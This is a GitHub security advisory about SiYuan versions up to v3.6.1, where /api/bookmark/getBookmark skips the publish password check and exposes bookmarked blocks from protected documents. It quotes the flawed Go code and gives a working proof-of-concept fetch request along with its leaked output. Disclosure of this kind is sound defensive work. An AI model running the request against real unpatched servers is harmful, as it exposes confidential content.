Broken access control in /api/bookmark/getBookmark allows unauthenticated publish visitors to read password-protected bookmarked content

High **88250** published **GHSA-c77m-r996-jr3q** last week

Package

No package listed

Affected versions

<=v3.6.1

Patched versions

v3.6.2

Description

Summary

The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, `/api/bookmark/getBookmark` filters bookmark results by calling `FilterBlocksByPublishAccess(nil, ...)`. Because the filter treats a `nil` context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as `Protected`. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.

Details

The issue is caused by an authorization bypass in the bookmark API path used by the publish service.

In `kernel/api/bookmark.go`, `getBookmark` checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes `nil` as the request context:

```
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    tempBookmarks := &model.Bookmarks{}
    for _, bookmark := range *bookmarks {
        bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark
```

In `kernel/model/publish_access.go`, `FilterBlocksByPublishAccess` allows access when `c == nil`:

```
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&
   (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
    ret = append(ret, block)
}
```

This bypasses the intended password enforcement performed by `CheckPublishAuthCookie`, which validates the `publish-auth-<id>` cookie for protected content.

The publish proxy authenticates anonymous publish visitors with a `RoleReader` token, and `CheckAuth` accepts `RoleReader`, so unauthenticated publish visitors can reach `/api/bookmark/getBookmark` and trigger the vulnerable code path.

I reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a `POST /api/bookmark/getBookmark` request. The response returned a bookmark group containing the protected block in `data[0].blocks`, confirming the bypass.

PoC

1. Start SiYuan with the publish service enabled.
2. Create a new document, for example publish-bookmark-poc.
3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123.
4. Open the block attributes and assign a bookmark label, for example leak-test.
5. In Doc Tree, enable Publish Access Control and set the document to Protected.
6. Set a password for that document, for example test123, and confirm the change.
7. Open the publish service in a fresh incognito/private browser session.
8. Verify that opening the protected document through the publish UI requires the password.
9. Without entering the password, open the browser developer console and run:

```
fetch("/api/bookmark/getBookmark", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: "{}"
})
```

```
  .then(r => r.json())
  .then(x => console.log(JSON.stringify(x, null, 2)));
```

10. Observe that the response contains a bookmark entry such as:


```
{
  "code": 0,
  "msg": "",
  "data": [
    {
      "name": "leak-test",
      "blocks": [
        {
          "box": "20260327012540-ppsxc5j",
          "path": "/20260327012543-acu1mdn.sy",
          "hPath": "/publish-bookmark-poc",
          "id": "20260327012543-1y6djn1",
          "rootID": "20260327012543-acu1mdn",
          "parentID": "20260327012543-acu1mdn",
          "name": "",
          "alias": "",
          "memo": "",
          "tag": "",
          "content": "<span data-type=\"code\">BOOKMARK_SECRET_123</span>",
          "fcontent": "",
          "markdown": "`BOOKMARK_SECRET_123`",
          "folded": false,
          "type": "NodeParagraph",
          "subType": "",
          "refText": "",
          "refs": null,
          "defID": "",
          "defPath": "",
          "ial": {
            "bookmark": "leak-test",
            "id": "20260327012543-1y6djn1",
            "updated": "20260327013116"
          },
          "children": null,
          "depth": 1,
          "count": 0,
          "refCount": 0,
          "sort": 10,
          "created": "",
          "updated": "",
          "riffCardID": "",
          "riffCard": null
        }
      ],
      "type": "bookmark",
      "depth": 0,
      "count": 1
    }
```

```
  ]
}
```

Actual result:
`/api/bookmark/getBookmark` returns bookmarked blocks from protected documents without requiring the publish password.

Impact

An unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the `Protected` publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.

Severity

High 7.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-34453

Weaknesses

▶ CWE-863

Credits

 **ngocnn97** Reporter